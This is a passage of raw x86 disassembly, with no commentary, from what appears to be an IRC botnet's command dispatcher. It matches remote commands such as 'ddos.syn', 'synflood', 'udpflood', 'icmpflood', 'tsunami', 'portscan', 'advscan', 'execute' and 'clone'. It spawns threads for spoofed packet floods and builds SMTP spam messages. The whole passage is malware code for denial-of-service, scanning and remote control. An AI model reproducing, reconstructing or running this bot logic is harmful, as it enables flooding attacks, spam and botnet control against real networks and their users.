234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 26709C5h nop push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h call near ptr 2670000h nop jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 26709C5h push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h nop call near ptr 2670000h jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 26709C5h push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 2670000h nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 26709C5h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2670000h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 26709C5h push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2670000h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; CODE XREF: sub_401ACD+577Cj 